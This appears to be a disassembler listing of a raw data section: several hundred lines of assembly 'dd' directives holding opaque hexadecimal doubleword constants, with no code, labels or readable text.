		dd 0A28A1024h, 482A5B0Fh, 3B6D00EAh, 0A5C22Bh, 0CC948902h
		dd 0A21D760h, 10C0D400h, 205FD573h, 67772h, 37587BF5h
		dd 7504E1AEh, 0DE01700h, 0FF434E7Ch, 0D7AB005Dh, 0BACEBF64h
		dd 49ECF857h, 922A0501h, 1526B814h, 0A71330h, 8BFD586Bh
		dd 708C4454h, 0F7FF6800h, 42338D84h, 72450088h,	0E069FD9Dh
		dd 503E858h, 7ED28556h,	80F0E0C0h, 0CAA00F3Eh, 0EC08804h
		dd 4A40C35Eh, 0CFBC600h, 0CEF9C4A2h, 7397730h, 32DB0E3Ah
		dd 0B8E2B88h, 8005F4A5h, 812A7432h, 0E7E82E02h,	0C06199A6h
		dd 3F80B81Ah, 1C8AEE2Dh, 7CE2B12h, 94A65F56h, 0A401C092h
		dd 6B007F2Fh, 80FD1A4Ch, 58E961h, 1ED38D18h, 0CC6747E0h
		dd 10FF2100h, 0DF75274Dh, 7F4C0BCEh, 368097B1h,	5C7C544Ah
		dd 6AF22A03h, 0A1565324h, 5ED41FEAh, 3CD900BFh,	415D6D61h
		dd 7805210Bh, 7CB80A04h, 74A8AA03h, 0E0A2F342h,	0ABCC19h
		dd 85720131h, 0CABF2420h, 1CE1FC00h, 6050BC5Eh,	33DB0004h
		dd 512BAB45h, 6F989C29h, 0C678A800h, 9106440h, 12490011h
		dd 488943C0h, 61EF1862h, 220F009h, 745F1300h, 0D9BD5CC9h
		dd 0F6AD3C30h, 0A4DF5A19h, 3589E84Ch, 604500Bh,	874880EEh
		dd 0E88F718h, 909C11C6h, 0E168A380h, 0BD007880h, 0B05AAE2h
		dd 652EDDh, 3057E811h, 1271029h, 14555F00h, 12525BD4h
		dd 0CB65001Eh, 6883B382h, 110B74EBh, 80647AECh,	24D064Ah
		dd 6D6C0076h, 5A402F7Ch, 0F990E039h, 0E8732A00h, 9F89061Dh
		dd 0E6FC0014h, 4D544018h, 0D41FE45Ah, 0FA8E0A1Ch, 0C41662Bh
		dd 30AB0762h, 0B0081028h, 0A4262414h, 2F4A607h,	0AA83B003h
		dd 0D8C1F89Ah, 8A0C010Bh, 0AF928071h, 58BCF45Fh, 0DCF8E200h
		dd 82561768h, 4050002Fh
		dd 6BA3E8D6h, 690444Eh,	8519400h, 742E20D3h, 0D9670052h
		dd 0C616476h, 5B0A0212h, 0DAAA036Ah, 5C509E01h,	35F4704Fh
		dd 122D4805h, 0CD591400h, 301C8A01h, 0AA66B01Eh, 88CC8100h
		dd 4C6AECD8h, 0C300062Ch, 0FA36746h, 0F81F7D89h, 2580FFABh
		dd 0E0976679h, 103F88Fh, 79302FCh, 200C303Eh, 38071C65h
		dd 0AF8D6CFh, 0BFE48280h, 69170052h, 0E1EAC864h, 0BC1F4D0Fh
		dd 9A07A15Eh, 4BD05188h, 404532h, 0F8FF1450h, 62E8753Fh
		dd 5FF282A0h, 311AD400h, 6600C09h, 10690158h, 0E875CCDh
		dd 0C3AAF466h, 520D48h,	6D01201Ah, 17E1C5Eh, 845F86C9h
		dd 2014FE67h, 800F2EDFh, 8735D852h, 28807DD1h, 0E461A604h
		dd 114E01A5h, 3262DC1Ch, 8BA12AE8h, 0A48FF8h, 0BAB14409h
		dd 0DD12C989h, 0B8662000h, 189001EBh, 0F35500A1h, 1FC39599h
		dd 0C1C0602h, 0FA80CD20h, 0AAF20DB0h, 799039E8h, 21F31207h
		dd 2E26019Fh, 659E603Eh, 66A2400h, 83DAEECDh, 0B623029Ah
		dd 5E2EA914h, 0DC5544E0h, 3CA32900h, 0F5D3D580h, 9DA200FAh
		dd 86D2F83Fh, 4F600B12h, 6A57F474h, 0EC050348h,	0F29408A2h
		dd 52BE58E8h, 0B1B04100h, 0AF2AA9FCh, 0B78A0014h, 48E1E297h
		dd 0EE00F934h, 519EA62Fh, 0C1390Ah, 3BE03AC0h, 0F424CC8h
		dd 871B809Dh, 7FEE83D8h, 0D0FC5Fh, 0A0E01067h, 604223E8h
		dd 0E6A2600h, 1C8BC02Ah, 38810046h, 0E0CEFFE3h,	941FB6C2h
		dd 8DC01D3h, 3266D8C0h,	0AA8946h, 34AC7A15h, 0FD5974ABh
		dd 0C8C01000h, 0E0D83FD0h, 0B0F00084h, 2698076Bh, 3039513Ch
		dd 0B3ED0058h, 89668114h, 88A7005Ah, 0AFD4905Eh, 630042D0h
		dd 625B0152h, 0A2B141h,	20B8049Ah, 4C694F76h, 772E8B04h
		dd 72C3A5D0h, 50C0C015h, 0B17DACh, 8010C587h, 383028D1h
		dd 0B0003E0h, 2B231B13h, 0A45E33h, 80B1A8AAh, 25C04AC7h
		dd 0B50AB600h, 98E3C56Ah, 0F5533EAFh, 0ACB85603h, 68C05216h
		dd 8B003381h, 0B3422B03h, 73F6E04h, 0A8631722h,	0D308073h
		dd 44000566h, 7656BA24h, 3D78931Dh, 9F00EA52h, 54220867h
		dd 0A3079219h, 0B80991A4h, 0E5F0CE97h, 1088FEh,	52728364h
		dd 466706DFh, 9798C698h, 0C7275C00h, 0A5FD164Ch, 3A087814h
		dd 0F94E5Ah, 4FC2F821h,	55531B5Bh, 23C54100h, 4B2D395Dh
		dd 0F7210019h, 9FE21229h, 6C02945Eh, 2B8817A5h,	162F765Fh
		dd 0FEC200C2h, 37FF0899h, 14641E00h, 6CE18DFDh,	824839A7h
		dd 0C6F276h, 99CB7C4Dh,	0AC701013h, 9C0094FCh, 0A24225BBh
		dd 0F4A9E8A6h, 61680020h, 988DC81h, 11756238h, 80F0223Eh
		dd 0BDB16354h, 16D9B6Ah, 104DE4D7h, 0E9C6E7B8h,	0C995D077h
		dd 15017D00h, 390C938Fh, 6329135Ch, 71360085h, 625467D9h
		dd 0D3E42C00h, 10983AB4h, 0AD143D74h, 0A8F04F01h, 0E40ACA19h
		dd 60DFDC31h, 408FE8C0h, 5C8755h, 6484F265h, 30B005FFh
		dd 0AAB6A000h, 89C46D90h, 951300E8h, 0E3349E56h, 0B10321E7h
		dd 0AA35C0DFh, 84B3A031h, 1F043AF1h, 4256A01Dh,	81966643h
		dd 0FD683861h, 99193089h, 3DB0213Ch, 0EDF200AAh, 612EE4A6h
		dd 579080h, 96AD441h, 0E5851F4Ch, 890E151Fh, 5DA87E00h
		dd 58A725h, 0AAEBCA2Fh,	41F9C794h, 55B71500h, 12856808h
		dd 0B48F05ABh, 806D830Fh, 0B3A4FB25h, 0E02CEC72h, 57011F56h
		dd 7B0461Bh, 0E4443F20h, 4A8A0009h, 5D9F9BC4h, 0FD01A202h
		dd 6CC8585Ah, 64C84F99h, 0B0090F84h, 0C520AAFFh, 0E3320737h
		dd 86C35300h, 49063415h, 97DD2420h, 0BF110123h,	3024772Ah
		dd 0EB0004F0h, 9102FE0Ah, 9654ECh, 51832BA4h, 0D287995Fh
		dd 8BDDFF39h, 72F8F46h,	0C608453h, 0ED3885h, 0D426961Bh
		dd 56072C52h, 0DBE4702Ch, 110B09h, 0B81A6AE2h, 48D200CEh
		dd 279208F7h, 64F49A95h, 2A86248h, 725CAA12h, 0C54BC014h
		dd 295F3CBBh, 0FBC7B00h, 5BC41994h, 0ECF36400h,	56584450h
		dd 1E76F0AAh, 7E834584h, 7A9F1EFEh, 4FB6C095h, 722BF75h
		dd 0C7AA5000h, 947790C6h, 547EF3h, 0E91EB4FCh, 686EF8E5h
		dd 913B7CE8h, 59E81601h, 1D80FA1Eh, 0C48424F4h,	2B7D3E70h
		dd 0D29E00FFh, 0AA3FA097h, 74E49091h, 0F219D416h, 0E4851C00h
		dd 3950E710h, 800088A2h, 6C076953h, 8F009048h, 725F4429h
		dd 401985h, 8057997Ah, 0D389F1B8h, 31E61203h, 0B882378Ah
		dd 0F6276E3Ch, 852F2E55h, 0AB5905B9h, 81A88153h, 4198E4B2h
		dd 0A7550300h, 5AEA888Fh, 606A031Ch, 0C0099E64h, 9BD0E9F8h
		dd 0BE480130h, 0CD1B4Ah, 181694C2h, 4269DEFBh, 133A30E3h
		dd 0E31ED07h, 3A106283h, 938D26h, 22364414h, 10D6A9BBh
		dd 20613002h, 613B49EFh, 23719989h, 0EA8233D0h,	481300DBh
		dd 2DE55CA1h, 86009529h, 148EF95Ah, 0C64418h, 0FBFE5045h
		dd 0C1C2967Fh, 424EBF8h, 0ED05B7A8h, 9501FC4Ah,	2464753Ch
		dd 197170h, 915C1499h, 0EB614047h, 100E5200h, 2B0F1396h
		dd 255E24AAh, 0F3AC0EE8h, 2A8EE400h, 5C0026C4h,	0C6B9404h
		dd 18F609CEh, 0A86C2588h, 1C00442Ah, 0F7C82D8Bh, 7A4BDACh
		dd 685E5C30h, 333F3052h, 0BE007322h, 4628AA7Bh,	3394980h
		dd 312F5DBDh, 24A83D5Fh, 7201225Eh, 66F89499h, 40D2B3B0h
		dd 3B1810FEh, 0C30014ECh, 8682F12h, 0A91784D4h,	6E1DB1FCh
		dd 2D0445C0h, 0C5EEC3h,	0D5DB1024h, 715F4ED2h, 0E94B6913h
		dd 23F200BEh, 915EA20Bh, 15EFC201h, 4C373E31h, 17C084C0h
		dd 174D74h, 13938741h, 0FA007F77h, 4C68E24Eh, 5AEDFCh
		dd 0A78B8CCDh, 1A6D4B61h, 6F095E07h, 0C9D02BC3h, 65DB32h
		dd 5D5C0AA1h, 7F6AD2B7h, 43A96605h, 0DC1D88FFh,	73020800h
		dd 7A1C32F4h, 231F3E19h, 0BC29DB8Bh, 20F6FE00h,	35E65E65h
		dd 64746E00h, 0CA679B86h, 7675D7h, 15FC113Fh, 0A5DA5E30h
		dd 92C03900h, 0F79E2024h, 2CA70095h, 0A8A9501Ch, 30054F6h
		dd 0A4AAD9EEh, 39923645h, 5A0BD7FFh, 7F007831h,	0A496ABBh
		dd 0DA9E3000h, 53FA0679h, 0B55A0084h, 1092118Bh, 3A006F68h
		dd 0AC074C91h, 1C28D40h, 2D475F63h, 0F89895C9h,	5C00AD18h
		dd 60404380h, 1FFE89F0h, 80701211h, 0B00E4208h,	7300AA83h
		dd 1A721CF5h, 1EDDA6Ah,	0E54BBB29h, 30A5A95Ah, 3A1F39E0h
		dd 494E3FA4h, 0C56EA04Dh, 0D95FEBh, 0B4D2381Dh,	0EC936AE8h
		dd 4548A61Dh, 2AE10C00h, 9077207Bh, 2EA9F86Dh, 2FB7AAh
		dd 710710D1h, 8107B015h, 0DAC8D3B6h, 1F4A82A0h,	27BC2EBEh
		dd 8592021Ch, 9E40BF9Eh, 17076425h, 9339A60Ch, 0C5FB7580h
		dd 60A10FD8h, 3740ED8Dh, 1CCEE4A8h, 0A2D6561Fh,	4C7825C0h
		dd 986CAh, 88448A9Ah, 0A67EE808h, 11EE0D00h, 0E915C2F9h
		dd 917600D8h, 54B0D682h, 4671ACAFh, 20289F00h, 3174A472h
		dd 0A57A1C91h, 0D1E841C8h, 0E47EEB24h, 3B008473h, 6FBE124Fh
		dd 0FCA7923Eh, 0A4BB00E2h, 0B045AB8Fh, 7601C22Bh, 0CBB55BC0h
		dd 0F1E4B6C5h, 0F0B70072h, 8921DA7h, 0C4B8637Eh, 371B7306h
		dd 123ADC09h, 772B8Bh, 9110ACDEh, 0BE00EBBBh, 0F3819F5Bh
		dd 0B97404h, 508B8A38h,	0DF20964Eh, 7CBE5400h, 47AA5842h
		dd 0E7DA00B9h, 76C76A80h, 645C2120h, 410900ECh,	1E824C74h
		dd 0CEE15C9Ch, 4BAFF100h, 27E7D586h, 109F6A00h,	0AB372FADh
		dd 4E130305h, 4B6F2C95h, 397E66A8h, 9678481Dh, 2F10EC40h
		dd 8E2A65h, 9B062A1h, 0A990750Dh, 0FE050C03h, 0E1C7FC79h
		dd 28D8E11Ch, 0F98E03E5h
		dd 3DF6DF58h, 8A2769A8h, 83C8FA3Bh, 289660C9h, 3BD3C1F4h
		dd 1F4A9FE4h, 22E5811h,	4127FF38h, 0E13CB6E1h, 84BDE004h
		dd 52771B00h, 408AD59Dh, 3F5709A3h, 0F832E6Ah, 0C011559h
		dd 0CA4751Fh, 69F091D6h, 20170016h, 0A57D660Bh,	5090B381h
		dd 0B030E67Bh, 0E276B4B8h, 0EE3D3AB5h, 0A2D3DF80h, 0D5B92B5Fh
		dd 8D655201h, 0E9E49DD2h, 3BC59B60h, 898444FAh,	0B8B20C76h
		dd 80620059h, 997CC9F1h, 0D19A02CDh, 26CF9C27h,	76D3A760h
		dd 0B124A41Eh, 71DC5380h, 12863ABh, 135EEB35h, 0FC20A7D8h
		dd 100677Eh, 66037753h,	0EA0959h, 0B032CCE4h, 3AB1897Fh
		dd 53DD4A18h, 7D5D64h, 67B76285h, 105B6915h, 68247800h
		dd 8C51E381h, 26A8F00Ch, 0F7D08h, 495A9BF4h, 0CB13C54Eh
		dd 1E006456h, 8C6FA533h, 0D9140023h, 786B1180h,	9800322Eh
		dd 0BE4E5A64h, 0F6CF2592h, 0FD4600BBh, 0C7B923FBh, 400B331h
		dd 0EC5EDAD0h, 0DD675Ah, 0E0B7926Fh, 10683BF5h,	0CCF25Ch
		dd 5F32794Fh, 246C09h, 9199488Ah, 44B822ABh, 0E1CD3Dh
		dd 792B6AD4h, 656709h, 0F0B9DBD9h, 0D15806C9h, 1D29FB00h
		dd 36A57E2Ch, 1EA60E82h, 0CB8025D2h, 68AA3381h,	871CC03Bh
		dd 4AC34F84h, 3C2BE0A0h, 6B0D00D0h, 0B0941FADh,	23009222h
		dd 99ECC806h, 0F4420Fh,	0F814B440h, 0A42693F7h,	100A48h
		dd 0ED586CBDh, 61C7Eh, 8796D125h, 2207883h, 452C7500h
		dd 6A4E881Dh, 7A4C0008h, 4BB8660Eh, 0A258D09Ch,	675700AEh
		dd 0DB547572h, 0E6A76BAh, 40835A65h, 0E2C42020h, 400CAFDh
		dd 681A5570h, 74B660h, 8CC0C244h, 4EB99D42h, 0B0596D36h
		dd 1B6B3A36h, 0E707B27h, 8A85B000h, 0E43B5863h,	0B4F0082h
		dd 5E961595h, 9D07A86Ah, 7FD19459h, 0F77964A3h,	7D720B96h
		dd 11AC0078h, 2DAD3FB5h, 6E0064E7h, 0A6C29A6h, 0AFDA63h
		dd 0FBA47C07h, 0F3B6F034h, 606F0B00h, 98FAC601h, 46D0013h
		dd 1C4E060Ch, 76B0F327h, 0B8F01102h, 0F6640A8Dh, 0F243007Eh
		dd 0FB5007DEh, 0FF5F6A03h, 0B845E2DDh, 0B8F7B9h, 24CE9504h
		dd 0CF7C8521h, 7E97338h, 4F54E8A7h, 0CA38A390h,	0A59E6BDh
		dd 0C4211A80h, 0E4F50005h, 85FC6884h, 0BB006475h, 880A6028h
		dd 138754Fh, 77B96D41h,	0F5706A89h, 1065C0FCh, 50144600h
		dd 610E2263h, 667D0041h, 6E7376E1h, 0D700DA67h,	1019D439h
		dd 0EE57684Ah, 1D660071h, 60037C41h, 6E007276h,	774CA7E7h
		dd 6B137Ah, 6964C17Fh, 182499D2h, 0E5405124h, 7D488600h
		dd 7467C57h, 4F4E90CFh,	677BB36Eh, 0E56230EFh, 7CB039C2h
		dd 6FFC4373h, 34036C00h, 0BF506071h, 7D7301B1h,	0FB44E569h
		dd 0EAE540E9h, 133D20A4h, 66700030h, 9BA052E2h,	0CE730171h
		dd 65ED4A7Ah, 1CA4F088h, 27371200h, 6D55E063h, 3B720061h
		dd 620F604Ah, 70E7C64h,	0C3086766h, 0D046400Eh,	98715276h
		dd 614500E6h, 97637413h, 0EB00163Eh, 7F4D7C9Ch,	5661C6Eh
		dd 76C16A4Fh, 47DDC064h, 221E884Ah, 72C0A00Dh, 732EC054h
		dd 4363004Bh, 0A562EE6Fh, 47008118h, 51666C68h,	6B77C8h
		dd 65117073h, 48D44663h, 4072C8E1h, 516F67F0h, 5579C0B4h
		dd 887442h, 6F548E0Fh, 40A09434h, 0F16B6E05h, 0CCC05FC2h
		dd 0E4EF42h, 654B3080h,	6961146Ah, 0B27E637Dh, 0FD38F3Ah
		dd 60342118h, 0F14B7960h, 0BF8300E6h, 2985486Eh, 1C005C30h
		dd 1114A947h, 467450h, 76386167h, 77608363h, 6216567Bh
		dd 2D006D90h, 0F0AAA8A7h, 7A510012h, 68AD0E70h,	6B1F6FC2h
		dd 0BCFC9E62h, 764EFD57h, 3C450FE0h, 65140269h,	5303C7E1h
		dd 77420418h, 6C8B63B0h, 41896700h, 61437127h, 0C0A6006Bh
		dd 6D14CB90h, 0C2007A7Bh, 79A1C84Ch, 73220E7Fh,	2A7507E4h
		dd 97D8A8B8h, 74B5B1B9h, 438CDC94h, 54D30CC1h, 59618499h
		dd 130C30h, 0B1BC68E4h,	0E88264A5h, 1B2F517h, 0AB83A03h
		dd 0B314C9C1h, 8010D0E7h, 44DE0E2Eh, 8C034C4h, 48885704h
		dd 180F8107h, 0F1939428h, 145AF0F8h, 49740530h,	7485405h
		dd 0D06873C2h, 0D978882Bh, 6412AC03h, 907FC423h, 3F19DC2Ah
		dd 1DF1088Dh, 808C1011h, 78288E30h, 48FE4066h, 2C200907h
		dd 7FA0A48Dh, 31FC53h, 0CB0C74BFh, 351782DCh, 2272F800h
		dd 97D3FEFFh, 0B2CD00D1h, 4636AA1Ch, 33008555h,	0EB0B35C9h
		dd 51BC72h, 69E07BDDh, 9F94C6DFh, 9719E401h, 0E96F40D6h
		dd 0EEE07DD1h, 0E8D1D1Ch, 2FD4C080h, 0C3A8DAF8h, 24F4BD01h
		dd 0A04F75C9h, 0F9F270h, 0C43EAD33h, 399BAA40h,	9400A6FAh
		dd 0FADE5025h, 0B44011Ah, 3B647277h, 8900EC58h,	0F1E8BE7h
		dd 11FD9CBh, 9221EB3Ah,	0CC3FF2E2h, 8B0007E9h, 3633F45Fh
		dd 4006E0h, 0D135C0C8h,	1A0C3AC3h, 505AEB07h, 0FF78B0Eh
		dd 9B5E8FF0h, 4EC90760h, 2083EA08h, 0CAFB0C56h,	107EF900h
		dd 3989CFFCh, 17C100C6h, 3EF80105h, 0CE003107h,	0D84EDE21h
		dd 7D3C0314h, 9FB61EB5h, 0C105C072h, 0FE891EC3h, 0F21D0E03h
		dd 0E831CEE1h, 1F69E721h, 0C0FF1442h, 0EA0A75B8h, 0C07E901Eh
		dd 0F11DD603h, 0B8736EF7h, 0C34465FEh, 2B81EA5Eh, 1E52C190h
		dd 0CE04C700h, 0C00DF323h, 21FE0631h, 2C13EFBAh, 8035C78h
		dd 0C143C3C6h, 0DE3CF0C2h, 3CF0761Bh, 0BC03E637h, 0A06A146Dh
		dd 5551080h, 0AC61D00h,	50B55694h, 95AF2E53h, 237B007Dh
		dd 1E20D91Ch, 0D163DC0Eh, 2CC8A028h, 163047F6h,	0F83D34B2h
		dd 8F3C06A9h, 18344064h, 2A48D944h, 0D400544Ch,	50A293EEh
		dd 771066FDh, 0EAB500A7h, 0ACA9129h, 0CDEAA91Ch, 8F4AE603h
		dd 0D3AA5820h, 0E2D4B09Ch, 28A71E8Dh, 3B767A2Ah, 8B813435h
		dd 1B55FF60h, 3023D93Ah, 0C8EE68F7h, 46DE6C00h,	3774F270h
		dd 0BC780111h, 8C648D7Ch, 5A72D0FEh, 9C898E00h,	0B55C1AFDh
		dd 84130091h, 6A4A25FAh, 0BC1D2794h, 97872FF4h,	0E8904FD4h
		dd 7F9AD51Dh, 0C48F00B8h, 9C217E98h, 300009D1h,	0CDFAD6BBh
		dd 0EF0DDE8h, 43A0A6EEh, 1BFD4E41h, 989DC56h, 0CEC28700h
		dd 0C546DDD7h, 9A6714Ah, 2555A443h, 9267E00h, 0DE001FC9h
		dd 0FD1AC55Dh, 33AC994Ah, 3C240DA8h, 0D09809B0h, 81F5F33Fh
		dd 4AA9D5D1h, 0B1F790B2h, 0CBD85325h, 6D070F09h, 4646D7FEh
		dd 0B8036ACDh, 2455B042h, 0B488B05Bh, 48107B5Dh, 743F06BAh
		dd 0C4E8C080h, 0BC87985h, 17CCA200h, 882ED044h,	0D82EC1D4h
		dd 0DC21AFh, 3AE4E8E0h,	260ED085h, 59C07978h, 2C960EECh
		dd 86F07A01h, 0B1F9DA9Dh, 0C7F4D9DCh, 0EB8E1FC4h, 3E3BFCF4h
		dd 43748CACh, 0FA631AFCh, 0D10F3BA7h, 9A4E1E83h, 0ECB8048Fh
		dd 0CFF2FD08h, 100E0C64h, 8014C804h, 1CE21840h,	20113F06h
		dd 140AC6F9h, 0D32CEC28h, 237E3000h, 1F38F134h,	0D03C8800h
		dd 22C88BC5h, 0B3AD1840h, 43DFC203h, 5F80DE5Fh,	3D81704h
		dd 128908CDh, 7EA81891h, 202F384h, 27D0240Ch, 21BC6098h
		dd 893C00F8h, 0F544C481h, 0D8005B3Ah, 43C7169Ch, 2DFD508h
		dd 7EA14FFh, 6D608D3Fh,	620E4D5Ch, 602F70AFh, 0D40AA10h
		dd 9A5F00C9h, 0BC6EDDA8h, 20007CBDh, 259BFAADh,	76084Bh
		dd 44C605F5h, 0E496F10Bh, 2A38F900h, 1A311B7Eh,	60D1602Bh
		dd 0BD754E7Dh, 0D47CC60Fh, 3EA9E01Ch, 7A62314h,	0FA3B8051h
		dd 58031F09h, 9898B706h, 93006CE7h, 8D87A84Fh, 0F4188Ah
		dd 57D388FFh, 0F1360EBh, 0BDD0AC00h, 4CE70278h,	0C2490023h
		dd 0DC7537D8h, 85005A98h
		dd 11743DF6h, 9203BCh, 55EE1450h, 0E84AC1EBh, 0D7D5AE00h
		dd 5E5A59B0h, 48C75CBDh, 5FE4C607h, 239F10E2h, 730ED019h
		dd 201655B9h, 97A8FD3Eh, 990500BCh, 0E5417B65h,	2B003FE7h
		dd 448E5EF0h, 39A6B8A9h, 990001C7h, 750C553Bh, 453DD407h
		dd 44738008h, 407D02EBh, 165000B9h, 51548DCFh, 0B500B23Bh
		dd 0F82D88A6h, 12F4Ch, 7A38C656h, 45119AA1h, 0E63F100h
		dd 19823129h, 53EB0392h, 0C56F3949h, 45E8BFBBh,	2A172CA9h
		dd 3BBC71Fh, 0EB06C372h, 0C4538DE9h, 9C246FAAh,	8C008467h
		dd 70085EDBh, 3AC0B560h, 0A7005D11h, 0BAA33972h, 3B2A1CB6h
		dd 5780CB73h, 207010C7h, 35301D76h, 723B807Eh, 4F1A004Dh
		dd 50CD18D9h, 200C7C4h,	89587C97h, 4770442h, 8BA66CBh
		dd 0FC7FC15Dh, 8220800Ch, 0C30B76BFh, 0F0E13ED2h, 7D583000h
		dd 0EC11878Eh, 1D84A13Bh, 0D180880Ah, 23384BB5h, 0BC440EF0h
		dd 89A1212Bh, 0BF5B8F14h, 0BE4180C8h, 1CF34CCAh, 5D515C01h
		dd 74694200h, 98AC7A73h, 0B5EAF500h, 17FE4F9h, 66FC0097h
		dd 0B960C6D6h, 0B7047A6Ch, 0C3642AC5h, 0EA524C0h, 81201E56h
		dd 7865806Eh, 0F7756FD8h, 66089F00h, 0E1EE7252h, 0A88500D4h
		dd 0FAD03BC8h, 0CA01B10Fh, 0F476C10Bh, 5EF0D858h, 8BC30073h
		dd 0CD6D4C8Ah, 0CC607D30h, 0FBD24766h, 731700BEh, 0B15FC2ACh
		dd 1F01D061h, 0EDF84FC1h, 8720312Dh, 0A9040943h, 7383161Ch
		dd 0BC06593h, 740FEF3Bh, 0E064DD4Fh, 165EFF79h,	5B9732E6h
		dd 38E0D2C4h, 90086D7h,	2674ED85h, 3EA25275h, 0DC0740CBh
		dd 497F14A8h, 247D4080h, 9C0043F0h, 0AA0D5FFh, 8A15ABh
		dd 167362CBh, 38DF90A2h, 503B4C00h, 0DC0FF5F7h,	0E2081E40h
		dd 0A47440C9h, 0F8F290ABh, 28C7B33Eh, 72B08983h, 0D000FB7Dh
		dd 425152D4h, 0AC2A91h,	0EB580362h, 590DC3DAh, 0E3830F00h
		dd 8961BC31h, 191000A3h, 1E0B102h, 3C001CDFh, 0C4909D21h
		dd 3BE89AF4h, 0A8BBA410h, 45209B80h, 0F8382CD5h, 0DC008D7Dh
		dd 5119DEADh, 7F61FF59h, 75C4001Ah, 184FC6Bh, 4800D7A4h
		dd 4C13705Ah, 38387E91h, 99BA2050h, 0E8015E83h,	7A0C2DAh
		dd 60004D54h, 6CE26F1Eh, 73CCDCBDh, 93CA40CBh, 3509FB00h
		dd 7FE303C6h, 4BC80062h, 0AF740F10h, 0B07B145Fh, 0C7903BFCh
		dd 5273121Ch, 6BA9AC00h, 106EDC3h, 83243EEEh, 7080C9C7h
		dd 4F07F896h, 405EFC1h,	44F73D97h, 30EEA270h, 0D05A3FD7h
		dd 9834BAD0h, 0FE6F01C0h, 0A24E62F7h, 0D0E84072h, 2F00EAE4h
		dd 0C8B8C792h, 1360E877h, 0C472E80h, 6B90EFC7h,	4673180Eh
		dd 0EB0AE089h, 7B8041h,	13747D1Ch, 2F9220B9h, 23FC04FEh
		dd 0C6068B00h, 0B4FA9E24h, 65670057h, 94F0092Ch, 93005FD5h
		dd 2721F2ABh, 16F55Dh, 5C1E4518h, 43012ED3h, 68636103h
		dd 0C8203A65h, 0BD37EEh, 0BCBB7084h, 0D9FF931Ah, 0A93ED000h
		dd 74F9A214h, 896B0049h, 0CB82F55Ah, 5F03EEF7h,	36486541h
		dd 5DBBE081h, 1BA00054h, 0AFF03EBh, 331DE064h, 5A40D250h
		dd 7C57F962h, 774003C2h, 294A17E9h, 0BA16EED0h,	0F7E83E00h
		dd 0C8C448E1h, 9DF107B0h, 5028F553h, 0AD3AA9Ah,	0D25D3700h
		dd 9160107Bh, 54A00014h, 0E788C520h, 9E006B3Ah,	0B03DBE4Eh
		dd 1EF82496h, 0C00BD035h, 6967DCFBh, 8F3C9389h,	0F747810Eh
		dd 1AC9146Ah, 1184F4h, 4B0C9908h, 5590531Ch, 93421B00h
		dd 3A192D27h, 0BC5417BEh, 0E52A0E08h, 4244980h,	2300442Ah
		dd 0A921B3EFh, 0E0A9383h, 8AB1A34Ch, 2E4905C0h,	9E00D50Ch
		dd 0C3ED506Fh, 7EE0FBh,	51E647A2h, 7F3E09B7h, 0F45CB100h
		dd 7220BD2Fh, 0F62C0075h, 7C3798C5h, 4D00126Eh,	4701EDC1h
		dd 7E9187Eh, 3DC33248h,	8B4640D7h, 90007580h, 0F4703DAh
		dd 38D7FEBh, 0A87E7D5Fh, 2B80F843h, 0E8003BC7h,	5E3C974Fh
		dd 731017h, 24B1140Eh, 1B90E4B2h, 76D76900h, 6EF7298Ch
		dd 30900DBh, 0FD635546h, 0C500A22Eh, 1B728642h,	1C131940h
		dd 0DB3308h, 1B13B60h, 8C00468Bh, 40FF4327h, 7EEC75F6h
		dd 0A3E6006Eh, 36FD0366h, 140147BCh, 327AA7ADh,	0EBC0893Ah
		dd 7B8D0049h, 3D44CCFBh, 9E053BE0h, 63820958h, 0A08450C3h
		dd 1752120h, 337EE506h,	0CCA81094h, 0B23B12E8h,	83881787h
		dd 24B20FFEh, 99A8DE0h,	823CA9F5h, 4C017055h, 4FF0881Dh
		dd 61DC7462h, 7F89F47Bh, 64410078h, 2CB9BE6Dh, 0F9709770h
		dd 33884400h, 0E03ED2F0h, 0C095008Eh, 0D7B62269h, 2D006079h
		dd 3B381201h, 161888DFh, 0E0A020Eh, 1580F5ECh, 4A829A1Ch
		dd 77509Dh, 1A21A163h, 41481F05h, 0C00DE800h, 3BC475C3h
		dd 730200FBh, 76FF8545h, 72C08927h, 5F21C990h, 74A00F9h
		dd 0F0C82BCFh, 743FFF2Eh, 519C818Dh, 6CE10ACBh,	768959C0h
		dd 0C47B004Dh, 0D34F80BEh, 0EF00D72Bh, 34725484h, 3FDE8742h
		dd 9A800EC5h, 65817C89h, 0F4003108h, 83FE6B84h,	501FFFh
		dd 88181C3Ch, 71B0C8Dh,	76CB2B07h, 8B374C93h, 85508950h
		dd 0A3EB0025h, 0C781D496h, 40086FAh, 0D322E8EAh, 1221D589h
		dd 0E5129h, 82BE0951h, 64C09792h, 10EB7E31h, 0A11A079Ch
		dd 21AA5714h, 40274812h, 84EA909Bh, 1560600h, 8B0969E4h
		dd 1C4A0083h, 822362D5h, 5B0076F0h, 0E37C699h, 414AB96h
		dd 80A2C8E7h, 0F4C0EF5Ah, 76C71020h, 54860044h,	0BDB2CE9Fh
		dd 0D000DFA8h, 42762A72h, 7C6032h, 89ED33ACh, 0BB8F526Ch
		dd 0EBEE0D00h, 5B5E3661h, 184A00B5h, 7303A21Eh,	43008D1Ah
		dd 41D7CA22h, 0FC264211h, 5063008Fh, 9224F08Ah,	1B006C5Ah
		dd 16138D14h, 5081E10Ch, 1AF497FCh, 0A01799CCh,	0B1152060h
		dd 80A47C07h, 0C8471D94h, 56C3CAE0h, 933F0091h,	6C3DAA06h
		dd 30003835h, 16981F1Dh, 59B055Ch, 214BFF4Ch, 60D58723h
		dd 0F7E901Ah, 44A17A00h, 8548E0D3h, 422100DAh, 0C5302508h
		dd 9C796EE1h, 4F3BB7FEh, 0D472009Ah, 2542C9E4h,	0D88DA0C4h
		dd 78040040h, 0AFBC24E9h, 6501C689h, 73902D77h,	3D83075h
		dd 88DD0191h, 7E0B743Bh, 25AECC11h, 3300D6F2h, 2314898Bh
		dd 7171CEBh, 0D4167D12h, 55E6B0C3h, 3C011B19h, 66314C4Ah
		dd 40DC9D58h, 32130FB2h, 5720DF82h, 8A983B77h, 8E756103h
		dd 0B8EC7FF0h, 127E08h,	970F7817h, 0B1FFD49Fh, 4522903h
		dd 0B8511343h, 0A76F75h, 195756A2h, 260CCB44h, 0BD692F12h
		dd 3BCC1500h, 0CF9710h,	0F84BFE6Ch, 3E077EA9h, 0F5B9BD1Dh
		dd 0F6F9ED40h, 0E690374Ch, 0EB3100E7h, 0A3BD020h, 70073FAh
		dd 0A03630B9h, 70405D82h, 750C0129h, 1F983C5h, 0CB85E40Fh
		dd 429D4409h, 4BF30052h, 0B8C7D902h, 2B8100D0h,	738920E9h
